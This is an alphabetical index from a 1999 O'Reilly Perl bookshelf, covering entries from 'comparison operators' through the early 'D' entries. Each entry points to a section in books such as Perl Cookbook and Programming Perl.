hashes for keys : Perl Cookbook, 5.11. Finding Common or Different Keys in Two Hashes
setting character set for : Programming Perl, 7.2.37. I18N::Collate - Compare 8-bit Scalar Data According to the Current Locale
strings : Programming Perl, 8.2.1. Universal Blunders
comparison operators
Perl Cookbook, 4.14. Sorting an Array Numerically
Learning Perl on Win32 Systems, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.4.1. Relational operators
Perl in a Nutshell, 4.5.4.2. Equality operators
Programming Perl, 1.5.6. Comparison Operators
Programming Perl, 2.5.12. Equality Operators
Programming Perl, 7.2.48.3. Overloadable operations
differences between awk and Perl : Learning Perl, 18.1. Converting awk Programs to Perl
numbers and strings : Learning Perl, 2.4.2. Operators for Strings
sort function and : Programming Perl, 3.2.153. sort
comparison routine, in sorting : Learning Perl, 15.4. Advanced Sorting
CompatMode attribute (DBI) : Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
compilation failure, when symlink() is not supported : Learning Perl, 13.3.2. Creating Hard and Soft Links with Perl
compile-time scoping : Perl Cookbook, 10.13. Saving Global Values
compiled language, Perl as a
Learning Perl, 1.4. Basic Concepts
Learning Perl on Win32 Systems, 1.5. Basic Concepts
compiler limits : (see pragmas)
compiler, Perl
Perl in a Nutshell, 3.4. The Perl Compiler
Programming Perl, 6.4.3. Translation to Other Languages
compiling : Advanced Perl Programming, 20.7. A Peek into the Future
hints : Programming Perl, 2.9.3. Global Special Variables
modules/packages : Advanced Perl Programming, 6.3. Package Initialization and Destruction
with yacc : Advanced Perl Programming, 20.2.2.2. Compilation and code generation stages
complementation : (see negation)
Complete() : Programming Perl, 7.2.65. Term::Complete - Word Completion Module
completion : Programming Perl, 7.2.65. Term::Complete - Word Completion Module
complex data structures : Perl in a Nutshell, 4.8. References and Complex Data Structures
Complex module : Programming Perl, 7.2.44. Math::Complex - Complex Numbers Package
complex numbers : Perl Cookbook, 2.15. Using Complex Numbers
component-based programming : Advanced Perl Programming, The Case for Scripting
composition : Advanced Perl Programming, 8.3.4. Using Composition Instead
Comprehensive Perl Archive Network : (see CPAN)
compressing tabs : Perl Cookbook, 1.7. Expanding and Compressing Tabs
concatenation
Learning Perl, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.11.4. String operator
Programming Perl, 1.5.2. String Operators
Programming Perl, 2.5.8. Additive Operators
Programming Perl, 8.2.3. Awk Traps
Programming Perl, 8.3.1. Time Efficiency
concurrency : Advanced Perl Programming, 10.1. Persistence Issues
conditional (?:) operator
Perl in a Nutshell, 4.5.11.2. Conditional operator
Programming Perl, 2.5.16. Conditional Operator
conditional modifiers : Perl in a Nutshell, 4.3.1.4. Modifiers
conditional statements
(see if statement)
Perl in a Nutshell, 4.3.1. Conditionals and Loops
confess()
Perl Cookbook, 12.12. Reporting Errors and Warnings Like Built-Ins
Programming Perl, 7.2.5. Carp - Generate Error Messages
Config module
Perl Cookbook, 16.13. Listing Available Signals
Perl in a Nutshell, 8.33. Config
Programming Perl, 7.2.6. Config - Access Perl Configuration Information
configuration
accessing information about : Programming Perl, 7.2.6. Config - Access Perl Configuration Information
GetOptions() : Programming Perl, 7.2.35.6. Configuration variables
reading configuration files : Perl Cookbook, 8.16. Reading Configuration Files
Configure event (Tk) : Perl Cookbook, 15.16. Responding to Tk Resize Events
configure() (Perl/Tk) : Perl in a Nutshell, 18.1.1.1. The configure method
Configure, as Perl building tool : Learning Perl, 1.3. Availability
-confine option (Canvas) : Perl in a Nutshell, 18.12. The Canvas Widget
connect()
Advanced Perl Programming, 13.1. Msg: Messaging Toolkit
Perl in a Nutshell, Chapter 5, Reference: connect
Programming Perl, 3.2.20. connect
DBI module : Perl in a Nutshell, Chapter 12, Reference: connect
Socket module
Perl in a Nutshell, 13.1. Built-in Socket Functions
Perl in a Nutshell, 13.1.2. Client Connections
Connect() (Mail::POP3Client) : Perl in a Nutshell, Chapter 14, Reference: Connect
ConnectBackoff() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: ConnectBackoff
connection, shutting down : Programming Perl, 3.2.148. shutdown
connection-oriented communication : Advanced Perl Programming, 12.1. Networking Primer
connectionless communication : Advanced Perl Programming, 12.1. Networking Primer
ConnectRetries() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: ConnectionRetries
ConnectTimeout() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: ConnectTimeout
console implementation : Perl in a Nutshell, 19.2. Win32::Console
Console module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
constant folding : Advanced Perl Programming, 20.2.2.2. Compilation and code generation stages
constant module : Perl in a Nutshell, 8.34. constant
constant part : Learning Perl, 11.1. What Is a Format?
constant() (Win32::FileSecurity) : Perl in a Nutshell, Chapter 19, Reference: constant
constants : Advanced Perl Programming, 3.3.2. Constants
global special (predefined) : Perl in a Nutshell, 4.4.4. Global Special Constants
POSIX module : Programming Perl, 7.2.49.3. Pathname constants
references to : Advanced Perl Programming, 1.1. Referring to Existing Variables
constructors
(see new())
Perl Cookbook, 13.0. Introduction
Perl Cookbook, 13.1. Constructing an Object
Perl in a Nutshell, 7.3. Object-Oriented Perl
Programming Perl, 4.2.5. Object Constructors
Programming Perl, 5.3.1. Brief Refresher on Object-Oriented Programming
Programming Perl, 5.3.3. An Object Is Simply a Referenced Thingy
accessing overridden methods : Perl Cookbook, 13.10. Accessing Overridden Methods
cloning parent objects : Perl Cookbook, 13.6. Cloning Objects
inheriting : Programming Perl, 5.5.10. Inheriting a Constructor
containment : Programming Perl, 5.5.5. Containment (the "Has-a" Relationship)
content()
HTML::Parser module : Perl in a Nutshell, Chapter 17, Reference: content
HTTP::Message module : Perl in a Nutshell, Chapter 17, Reference: content
CONTENT_LENGTH variable : Perl in a Nutshell, 9.4. CGI Environment Variables
content_ref() (HTTP::Message) : Perl in a Nutshell, Chapter 17, Reference: content_ref
Content-Type header line
Learning Perl, 19.3. Simplest CGI Program
Learning Perl, 19.9. Troubleshooting CGI Programs
Perl in a Nutshell, 9.1.2. Creating Virtual Documents
CONTENT_TYPE variable : Perl in a Nutshell, 9.4. CGI Environment Variables
ContentType property (Response object) : Perl in a Nutshell, 20.2.2.2. Response properties
context
(see also list context; scalar context)
Advanced Perl Programming, 20.2.2.2. Compilation and code generation stages
Learning Perl, 3.5. Scalar and List Context
Perl in a Nutshell, 4.2.5. Scalar and List Contexts
Programming Perl, 2.3.3. Context
context stack
Advanced Perl Programming, 20.4.3. Inside Other Stacks
Learning Perl on Win32 Systems, 3.5. Scalar and List Context
continuation characters, reading data with : Perl Cookbook, 8.1. Reading Lines with Continuation Characters
continuation lines
Programming Perl, 2.6.4.4. Loop control
Programming Perl, 2.9.3. Global Special Variables
continue block
(see also loops)
Learning Perl, 9.2. The next Statement
Perl in a Nutshell, 4.3.1.1. while loops
Programming Perl, 2.6.4.1. While statements
Programming Perl, 2.6.4.4. Loop control
continue command (in C) : Programming Perl, 8.2.4. C Traps
control characters
Programming Perl, 2.3.2.2. String literals
Programming Perl, 2.4.1.2. The rules of regular expression matching
control expression
and while statements : Learning Perl, 4.3. The while/until Statement
of if statement : Learning Perl, 4.2. The if/unless Statement
while statements : Learning Perl on Win32 Systems, 4.3. The while/until Statement
control structures : Programming Perl, 1.6. Control Structures
Control-D, as end of file : Learning Perl, 3.6. <STDIN> as an Array
ControlReceiveTimeout() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: ControlReceiveTimeout
ControlSendTimeout() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: ControlSendTimeout
converting
angles (degrees and radians) : Perl Cookbook, 2.11. Doing Trigonometry in Degrees, not Radians
ASCII characters and values
Perl Cookbook, 1.4. Converting Between ASCII Characters and Values
Perl Cookbook, 20.4. Converting ASCII to HTML
Programming Perl, 3.2.16. chr
Programming Perl, 3.2.104. ord
between languages
Programming Perl, 6.4.2. Translation from Other Languages
Programming Perl, 8.5.1. Translation from Awk and Sed
binary and decimal numbers : Perl Cookbook, 2.4. Converting Between Binary and Decimal
case : (see case/capitalization)
DBM files : Perl Cookbook, 14.3. Converting Between DBM Files
hexadecimal numbers
Perl Cookbook, 2.16. Converting Between Octal and Hexadecimal
Programming Perl, 3.2.73. hex
Programming Perl, 3.2.156. sprintf
list values and strings
Programming Perl, 3.2.78. join
Programming Perl, 3.2.105. pack
Programming Perl, 3.2.155. split
Programming Perl, 3.2.182. unpack
octal numbers
Perl Cookbook, 2.16. Converting Between Octal and Hexadecimal
Programming Perl, 3.2.101. oct
Programming Perl, 3.2.156. sprintf
POD data to ASCII text : Programming Perl, 7.2.50. Pod::Text - Convert POD Data to Formatted ASCII Text
pod into other languages : Perl Cookbook, 12.16. Documenting Your Module with Pod
Roman numerals : Perl Cookbook, 2.6. Working with Roman Numerals
shell wildcards for regexp matching : Perl Cookbook, 6.9. Matching Shell Globs as Regular Expressions
time
Perl Cookbook, 3.2. Converting DMYHMS to Epoch Seconds
Programming Perl, 3.2.70. gmtime
Programming Perl, 3.2.88. localtime
cookie()
CGI.pm module : Perl in a Nutshell, Chapter 10, Reference: cookie
LWP::UserAgent module : Perl in a Nutshell, Chapter 17, Reference: cookie_jar
Cookie header : Perl in a Nutshell, 17.3.6. HTTP::Cookies
cookies
Perl Cookbook, 19.10. Managing Cookies
Perl in a Nutshell, 8.28. CGI::Cookie
Perl in a Nutshell, 10.3. Maintaining State
HTTP::Cookies module : Perl in a Nutshell, 17.3.6. HTTP::Cookies
HTTP::Cookies::Netscape module : Perl in a Nutshell, 17.3.6.1. HTTP::Cookies::Netscape
setting (PerlScript) : Perl in a Nutshell, 20.2.2.1. Setting cookies
Cookies collection : Perl in a Nutshell, 20.2.1. The Request Object
coords()
Canvas widget : Perl in a Nutshell, 18.12.3. Canvas Methods
Scale widget : Perl in a Nutshell, 18.13.1. Scale Methods
copy() (File::Copy) : Perl Cookbook, 9.3. Copying or Moving a File
copy constructor : Programming Perl, 7.2.48.6. Copy constructor
Copy module : Programming Perl, 7.2.29. File::Copy - Copy Files or Filehandles
copy pass : Learning Perl, 17.5. Variable-Length (Text) Databases
copying
data structures : Perl Cookbook, 11.12. Copying Data Structures
directory trees : Perl Cookbook, 9.11. Program: symirror
filehandles : Perl Cookbook, 7.20. Copying Filehandles
files : Perl Cookbook, 9.3. Copying or Moving a File
parent objects (cloning) : Perl Cookbook, 13.6. Cloning Objects
substituting and : Perl Cookbook, 6.1. Copying and Substituting Simultaneously
surface vs. deep copies : Perl Cookbook, 11.12. Copying Data Structures
core files
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 3.2.29. dump
Programming Perl, 6.1.2. Switches
cos() (cosines)
Perl Cookbook, 2.12. Calculating More Trigonometric Functions
Perl in a Nutshell, Chapter 5, Reference: cos
Programming Perl, 3.2.21. cos
Count()
Mail::POP3Client module
Perl in a Nutshell, Chapter 14, Reference: Count
Perl in a Nutshell, 14.2.8.1. Counting messages
Win32::OLE::Enum module : Perl in a Nutshell, 19.18.3. Win32::OLE::Enum
countchunks program (example) : Perl Cookbook, 7.7. Writing a Filter
counting
characters : Learning Perl, 15.5. Transliteration
email messages : Perl in a Nutshell, 14.2.8.1. Counting messages
lines in files : Perl Cookbook, 8.2. Counting Lines (or Paragraphs or Records) in a File
CPAN : Perl Cookbook, 12.0. Introduction
building and installing modules from : Perl Cookbook, 12.17. Building and Installing a CPAN Module
finding modules, program for : Perl Cookbook, 12.19. Program: Finding Versions and Descriptions of Installed Modules
registering as developer : Perl Cookbook, 12.8. Preparing a Module for Distribution
CPAN (Comprehensive Perl Archive Network)
Learning Perl on Win32 Systems, B.3. CPAN: Beyond the Standard Library
Perl in a Nutshell, 2. Installing Perl
Programming Perl, 7.1. Beyond the Standard Library
Programming Perl, How to Get Perl
CPAN::FirstTime module : Perl in a Nutshell, 8.36. CPAN::FirstTime
CPAN::Nox module : Perl in a Nutshell, 8.37. CPAN::Nox
CPAN.pm module
Perl in a Nutshell, 2.4.4. Installing Modules with the CPAN Module
Perl in a Nutshell, 8.35. CPAN
finding available modules : Perl in a Nutshell, 2.4.1. Locating modules
cpp (C preprocessor)
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
CPU time
Programming Perl, 3.2.174. times
Programming Perl, 7.2.4.1. Notes
crack() (URI::URL) : Perl in a Nutshell, Chapter 17, Reference: crack
CrackURL() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: CrackURL
Create() : Learning Perl on Win32 Systems, 16.5. Opening and Reading Registry Values
Win32::Process module : Perl in a Nutshell, 19.12. Win32::Process
Win32::Registry module : Perl in a Nutshell, Chapter 19, Reference: Create
createArc() (Canvas) : Perl in a Nutshell, 18.12.1. Canvas Creation Methods
createBitmap() (Canvas) : Perl in a Nutshell, 18.12.1. Canvas Creation Methods
createImage() (Canvas) : Perl in a Nutshell, 18.12.1. Canvas Creation Methods
createLine() (Canvas) : Perl in a Nutshell, 18.12.1. Canvas Creation Methods
CreateObject()
Learning Perl on Win32 Systems, 19.2. Creating Automation Objects
Learning Perl on Win32 Systems, 19.3. Using Automation Objects
createOval() (Canvas) : Perl in a Nutshell, 18.12.1. Canvas Creation Methods
createPolygon() (Canvas) : Perl in a Nutshell, 18.12.1. Canvas Creation Methods
createRectangle() (Canvas) : Perl in a Nutshell, 18.12.1. Canvas Creation Methods
createText() (Canvas) : Perl in a Nutshell, 18.12.1. Canvas Creation Methods
CreateURL() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: CreateURL
createWindow() (Canvas) : Perl in a Nutshell, 18.12.1. Canvas Creation Methods
creating processes : Learning Perl, 14.1. Using system and exec
creation time : (see modification time)
credentials() (LWP::UserAgent) : Perl in a Nutshell, Chapter 17, Reference: credentials
croak()
Perl Cookbook, 12.12. Reporting Errors and Warnings Like Built-Ins
Programming Perl, 7.2.5. Carp - Generate Error Messages
crypt()
Perl in a Nutshell, Chapter 5, Reference: crypt
Programming Perl, 3.2.22. crypt
cryptography : Programming Perl, 3.2.158. srand
CSV (comma-separated values)
Perl Cookbook, 1.15. Parsing Comma-Separated Data
Perl Cookbook, 4.1. Specifying a List In Your Program
Perl Cookbook, 6.7. Reading Records with a Pattern Separator
$ctime file statistic : Programming Perl, 3.2.159. stat
ctime field : Perl Cookbook, 9.0. Introduction
CTRL-C signal
Advanced Perl Programming, 4.2.2. Signal Handlers
Perl Cookbook, 16.18. Catching Ctrl-C
CTRL-D key
Programming Perl, 2.3.2.7. Other literal tokens
Programming Perl, 7.2.65. Term::Complete - Word Completion Module
CTRL-U key : Programming Perl, 7.2.65. Term::Complete - Word Completion Module
CTRL-Z key : Programming Perl, 2.3.2.7. Other literal tokens
curly braces : (see {} (braces))
current index (Text widget) : Perl in a Nutshell, 18.11.1. Text Indexes and Modifiers
current_age() (HTTP::Response) : Perl in a Nutshell, Chapter 17, Reference: current_age
current_message() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: current_message
currently selected filehandle : Learning Perl, 11.6.1. Using select() to Change the Filehandle
curselection() (Listbox) : Perl in a Nutshell, 18.10.2. Listbox Methods
Curses module : Perl Cookbook, 15.12. Managing the Screen
curses toolkit : Perl Cookbook, 15.0. Introduction
-cursor option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
Cursor() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: Cursor
CursorName attribute (DBI) : Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
custom publishing systems : Learning Perl, 19.10.1. Custom Publishing Systems
customizing Perl debugger
Perl in a Nutshell, 6.4. Customizing the Debugger
Programming Perl, 8.1.3. Debugger Customization
=cut command (pod) : Perl in a Nutshell, Chapter 4, Reference: =cut
CVs (code values) : Advanced Perl Programming, 20.3.5. Code Values
Cwd module
Perl Cookbook, 12.11. Overriding Built-In Functions
Perl in a Nutshell, 8.38. Cwd
Programming Perl, 7.2.7. Cwd - Get Pathname of Current Working Directory
cwd() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: cwd
cxstack : Advanced Perl Programming, 20.4.3. Inside Other Stacks

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: D

\d (digit) character class
Learning Perl, 7.3.1. Single-Character Patterns
Perl in a Nutshell, 4.6.4. Character Classes
Programming Perl, 1.7. Regular Expressions
\D (nondigit) character class : Perl in a Nutshell, 4.6.4. Character Classes
d command (CPAN.pm) : Perl in a Nutshell, Chapter 2, Reference: d
d command (debugger)
Perl in a Nutshell, Chapter 6, Reference: d
Programming Perl, 8.1.1. Debugger Commands
D command (debugger)
Perl in a Nutshell, Chapter 6, Reference: D
Programming Perl, 8.1.1. Debugger Commands
-d file test operator
Learning Perl, 10.5. The -x File Tests
Learning Perl on Win32 Systems, 10.6. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
-d option (perlbug) : Perl in a Nutshell, 6.6. The perlbug Program
/d pattern-match modifier
Learning Perl, 15.5. Transliteration
Programming Perl, 2.4.2. Pattern-Matching Operators
-d switch, perl
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
Programming Perl, 8.1.8. Alternative Debuggers: The Perl Profiler
-D switch, perl
Advanced Perl Programming, 20.1. Reading the Source
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
daemon() (HTTP::Daemon::ClientConn) : Perl in a Nutshell, Chapter 17, Reference: daemon
daemon servers
Perl Cookbook, 16.22. Program: sigrand
Perl Cookbook, 17.15. Making a Daemon Server
dangling else, and impossibility of : Learning Perl, 4.2. The if/unless Statement
dash : (see - (hyphen))
data, insecure : Programming Perl, 6.3.1. Handling Insecure Data
data() (Net::SMTP) : Perl in a Nutshell, Chapter 14, Reference: data
DATA command (SMTP) : Perl in a Nutshell, 14.1.2. The SMTP Protocol and the SMTP Session
Data::Dumper module
Advanced Perl Programming, 2.5. Pretty-Printing
Advanced Perl Programming, 10.2.2. Data::Dumper
Perl Cookbook, 11.11. Printing Data Structures
Perl in a Nutshell, 8.39. Data::Dumper
DATA filehandle
Perl in a Nutshell, 4.4.3. Global Special Filehandles
Programming Perl, 2.9.5. Global Special Filehandles
data relationships
(see also variables)
Perl Cookbook, 5.15. Representing Relationships Between Data
data_sources() (DBI) : Perl in a Nutshell, Chapter 12, Reference: data_sources
data structures : (see structures)
__DATA__ token
Perl Cookbook, 7.6. Storing Files Inside Your Program Text
Programming Perl, 2.3.2.7. Other literal tokens
Programming Perl, 2.9.5. Global Special Filehandles
data types : Perl in a Nutshell, 4.2. Data Types and Variables
built-in : Programming Perl, 2.2. Built-in Data Types
circular data structures : Perl Cookbook, 13.13. Coping with Circular Data Structures
classes as structs : Perl Cookbook, 13.5. Using Classes as Structs
complex data structures : Perl in a Nutshell, 4.8. References and Complex Data Structures
scalars : (see scalars)
translation : Advanced Perl Programming, 18.1. Writing an Extension: Overview
typeglobs : Programming Perl, 2.3.6. Typeglobs and Filehandles
database interface modules : Learning Perl on Win32 Systems, B.2.6. Database Interfaces
database queries : Perl Cookbook, 19.7. Formatting Lists and Tables with HTML Shortcuts
databases
Learning Perl, 17.4. Fixed-Length Random Access Databases
Learning Perl, 17.5. Variable-Length (Text) Databases
Perl in a Nutshell, 12. Databases and Perl
access : Perl Cookbook, 14.0. Introduction
converting between DBM files : Perl Cookbook, 14.3. Converting Between DBM Files
emptying DBM files : Perl Cookbook, 14.2. Emptying a DBM File
ggh program : Perl Cookbook, 14.11. Program: ggh - Grep Netscape Global History
locking DBM files : Perl Cookbook, 14.5. Locking DBM Files
making DBM files : Perl Cookbook, 14.1. Making and Using a DBM File
merging DBM files : Perl Cookbook, 14.4. Merging DBM Files
persistent data : Perl Cookbook, 14.9. Persistent Data
sorting large DBM files : Perl Cookbook, 14.6. Sorting Large DBM Files
SQL queries
Perl Cookbook, 14.10. Executing an SQL Command Using DBI and DBD
Perl Cookbook, 19.7. Formatting Lists and Tables with HTML Shortcuts
storing complex data in DBM files : Perl Cookbook, 14.8. Storing Complex Data in a DBM File
text files as database arrays : Perl Cookbook, 14.7. Treating a Text File as a Database Array
database handles (DBI methods) : Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
DBDs (database drivers) : Perl in a Nutshell, 12.2.1. Database Drivers (DBDs)
DBI module : Perl in a Nutshell, 12.2. Design of DBI
DBM (Database Management) facility : Perl in a Nutshell, 12.1. DBM Databases and DBM Hashes
fixed-length records in : Learning Perl on Win32 Systems, 17.4. Fixed-Length Random-Access Databases
generating schema for : Advanced Perl Programming, 17.2.1. Oh, and Can You Do This Too?
human-readable : Learning Perl on Win32 Systems, 17.5. Variable-Length (Text) Databases
locking : Programming Perl, 7.2.8.7. Locking databases
managing with DBM library : Learning Perl, 17.1. DBM Databases and DBM Hashes
mapping : Advanced Perl Programming, 11.2.4. Multivalued Attributes and Database Mapping
random-access : Learning Perl on Win32 Systems, 17.4. Fixed-Length Random-Access Databases
dataend() (Net::SMTP) : Perl in a Nutshell, Chapter 14, Reference: dataend
datagram sockets
Perl Cookbook, 17.0. Introduction
Perl Cookbook, 17.4. Setting Up a UDP Client
DataReceiveTimeout() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: DataReceiveTimeout
datasend() (Net::SMTP) : Perl in a Nutshell, Chapter 14, Reference: datasend
DataSendTimeout() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: DataSendTimeout
date() (Net::NNTP)
(see also localtime())
Perl in a Nutshell, Chapter 15, Reference: date
examples of
Learning Perl, A.13. Chapter 14, Process Management
Learning Perl, 1.4. Basic Concepts
Learning Perl, 14.1. Using system and exec
date and time
Perl Cookbook, 3.0. Introduction
Programming Perl, 3.2.173. time
alarms : Programming Perl, 3.2.5. alarm
arithmetic with : Perl Cookbook, 3.4. Adding to or Subtracting from a Date
converting to/from Epoch seconds : Perl Cookbook, 3.2. Converting DMYHMS to Epoch Seconds
Date::DateCalc module
Perl Cookbook, 3.0. Introduction
Perl Cookbook, 3.4. Adding to or Subtracting from a Date
Perl Cookbook, 3.5. Difference of Two Dates
Perl Cookbook, 3.6. Day in a Week/Month/Year or Week Number
Date::Manip module
Perl Cookbook, 3.0. Introduction
Perl Cookbook, 3.7. Parsing Dates and Times from Strings
Perl Cookbook, 3.8. Printing a Date
Perl Cookbook, 3.11. Program: hopdelta
days, calculating : Perl Cookbook, 3.6. Day in a Week/Month/Year or Week Number
executing, Benchmark for : Programming Perl, 7.2.4. Benchmark - Check and Compare Running Times of Code
file access/modification
Perl Cookbook, 9.1. Getting and Setting Timestamps
Programming Perl, 3.2.159. stat
Programming Perl, 3.2.186. utime
file age : Programming Perl, 2.5.10. Named Unary and File Test Operators
functions for : Perl in a Nutshell, 5.1. Perl Functions by Category
Greenwich Mean (GMT) : Programming Perl, 3.2.70. gmtime
high-resolution timers : Perl Cookbook, 3.9. High-Resolution Timers
hopdelta program : Perl Cookbook, 3.11. Program: hopdelta
HTTP::Date module : Perl in a Nutshell, 17.3.5. HTTP::Date
limits on operations : Programming Perl, 6.2.1. Signals
for local timezone : Programming Perl, 3.2.88. localtime
local, computing : Programming Perl, 7.2.75. Time::Local - Efficiently Compute Time from Local and GMT Time
manipulation of
Learning Perl, 1.5.16. Maintaining a Last-Good-Guess Database
Learning Perl on Win32 Systems, 1.6.16. Maintaining a Last-Good-Guess Database
modifying timestamps
Learning Perl, 13.7. Modifying Timestamps
Learning Perl on Win32 Systems, 13.5. Modifying Timestamps
parsing information from strings : Perl Cookbook, 3.7. Parsing Dates and Times from Strings
printing : Perl Cookbook, 3.8. Printing a Date
script running : Programming Perl, 2.5.10. Named Unary and File Test Operators
sleeping : Programming Perl, 3.2.150. sleep
sleeps : Perl Cookbook, 3.10. Short Sleeps
sorting mail by (example) : Perl Cookbook, 10.17. Program: Sorting Your Mail
Time modules
Time::gmtime module
Perl Cookbook, 3.0. Introduction
Perl Cookbook, 3.3. Converting Epoch Seconds to DMYHMS
Perl in a Nutshell, 8.159. Time::gmtime
Time::HiRes module : Perl Cookbook, 3.9. High-Resolution Timers
Time::Local module
Perl Cookbook, 3.0. Introduction
Perl Cookbook, 3.2. Converting DMYHMS to Epoch Seconds
Perl in a Nutshell, 8.160. Time::Local
Time::localtime module
Perl Cookbook, 3.0. Introduction
Perl in a Nutshell, 8.161. Time::localtime
Time::timelocal : Perl Cookbook, 3.3. Converting Epoch Seconds to DMYHMS
Time::tm module
Perl Cookbook, 3.0. Introduction
Perl in a Nutshell, 8.162. Time::tm
timing out operations : Perl Cookbook, 16.21. Timing Out an Operation
today's : Perl Cookbook, 3.1. Finding Today's Date
UNIX internal format
Learning Perl, 13.7. Modifying Timestamps
Learning Perl on Win32 Systems, 13.5. Modifying Timestamps
years : Perl Cookbook, 3.0. Introduction
date_difference() : Perl Cookbook, 3.5. Difference of Two Dates
date_time_difference() : Perl Cookbook, 3.5. Difference of Two Dates
DateCalc() : Perl Cookbook, 3.11. Program: hopdelta
dates_difference()
Perl Cookbook, 3.5. Difference of Two Dates
Perl Cookbook, 3.6. Day in a Week/Month/Year or Week Number
datesort program (example) : Perl Cookbook, 10.17. Program: Sorting Your Mail
day_of_week() : Perl Cookbook, 3.6. Day in a Week/Month/Year or Week Number
days : (see date and time)
daytime server : Learning Perl on Win32 Systems, C.1. A Simple Client
DB package, caller function : Programming Perl, 3.2.10. caller
db2gdbm program (example) : Perl Cookbook, 14.3. Converting Between DBM Files
DB_File module
Advanced Perl Programming, 10.3.3. Berkeley DB
Perl Cookbook, 11.14. Transparently Persistent Data Structures
Perl in a Nutshell, 8.40. DB_File
Programming Perl, 7.2.1. AnyDBM_File - Provide Framework for Multiple DBMs
Programming Perl, 7.2.8. DB_File - Access to Berkeley DB
sorting large DBM files : Perl Cookbook, 14.6. Sorting Large DBM Files
text files as database arrays : Perl Cookbook, 14.7. Treating a Text File as a Database Array
DB_RECNO access method : Perl Cookbook, 8.8. Reading a Particular Line in a File
DBD module : Perl Cookbook, 14.10. Executing an SQL Command Using DBI and DBD
DBDs (database drivers)
Perl in a Nutshell, 12. Databases and Perl
Perl in a Nutshell, 12.2.1. Database Drivers (DBDs)
DBD::Oracle module : Advanced Perl Programming, 10.4.1. DBI (Database Interface)
DBI_ environment variables : Perl in a Nutshell, 12.4. DBI Environment Variables
DBI module
Advanced Perl Programming, 11.1. Adaptor: An Introduction
Perl Cookbook, 14.10. Executing an SQL Command Using DBI and DBD
Perl Cookbook, 19.7. Formatting Lists and Tables with HTML Shortcuts
Perl Cookbook, 20.9. Creating HTML Templates
Perl in a Nutshell, 12. Databases and Perl
Perl in a Nutshell, 12.2. Design of DBI
database and statement handles : Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
database mapping : Advanced Perl Programming, 11.2.4. Multivalued Attributes and Database Mapping
environment variables for : Perl in a Nutshell, 12.4. DBI Environment Variables
implementation of : Advanced Perl Programming, 11.3.2. Adaptor::DBI
methods of : Perl in a Nutshell, 12.3. DBI Methods
object uniqueness and : Advanced Perl Programming, 11.2.8. Uniqueness of Objects in Memory
DBI specification : Advanced Perl Programming, 10.4.1. DBI (Database Interface)
dblockdemo program (example) : Perl Cookbook, 14.5. Locking DBM Files
DBM array : Learning Perl, 17.1. DBM Databases and DBM Hashes
dbm close function : Programming Perl, 3.2.23. dbmclose
DBM files
Learning Perl, 1.5.16. Maintaining a Last-Good-Guess Database
Learning Perl on Win32 Systems, 1.6.16. Maintaining a Last-Good-Guess Database
Programming Perl, 3.2.23. dbmclose
complex data in : Perl Cookbook, 14.8. Storing Complex Data in a DBM File
converting between : Perl Cookbook, 14.3. Converting Between DBM Files
deleting from : Programming Perl, 3.2.26. delete
emptying : Perl Cookbook, 14.2. Emptying a DBM File
GDBM files
Perl Cookbook, 14.0. Introduction
Perl Cookbook, 14.3. Converting Between DBM Files
locking : Perl Cookbook, 14.5. Locking DBM Files
making and using : Perl Cookbook, 14.1. Making and Using a DBM File
merging : Perl Cookbook, 14.4. Merging DBM Files
NDBM files : Perl Cookbook, 14.0. Introduction
sorting : Perl Cookbook, 14.6. Sorting Large DBM Files
tie statement with : Advanced Perl Programming, 9.3. Tying Hashes
DBM libraries : Perl Cookbook, 14.0. Introduction
DBM modules
Advanced Perl Programming, 10.3.1. DBM
Learning Perl, 17.1. DBM Databases and DBM Hashes
Perl in a Nutshell, 12.1. DBM Databases and DBM Hashes
Programming Perl, 7.2.1. AnyDBM_File - Provide Framework for Multiple DBMs
dbmclose()
Perl Cookbook, 14.1. Making and Using a DBM File
Learning Perl, 1.5.17. The Final Programs
Learning Perl, 17.2. Opening and Closing DBM Hashes
Perl in a Nutshell, Chapter 5, Reference: dbmclose
example of : Learning Perl on Win32 Systems, 1.6.17. The Final Programs
dbmopen()
Perl Cookbook, 14.0. Introduction
Perl Cookbook, 14.1. Making and Using a DBM File
Learning Perl, 17.2. Opening and Closing DBM Hashes
Perl in a Nutshell, Chapter 5, Reference: dbmopen
Perl in a Nutshell, 12.1. DBM Databases and DBM Hashes
Programming Perl, 3.2.24. dbmopen
Programming Perl, 7.2.1. AnyDBM_File - Provide Framework for Multiple DBMs
examples of
Learning Perl, A.16. Chapter 17, User Database Manipulation
Learning Perl, 1.5.16. Maintaining a Last-Good-Guess Database
Learning Perl, 1.5.17. The Final Programs
Learning Perl on Win32 Systems, 1.6.17. The Final Programs
Learning Perl on Win32 Systems, 1.6.16. Maintaining a Last-Good-Guess Database
dbusers program (example) : Perl Cookbook, 14.10. Executing an SQL Command Using DBI and DBD
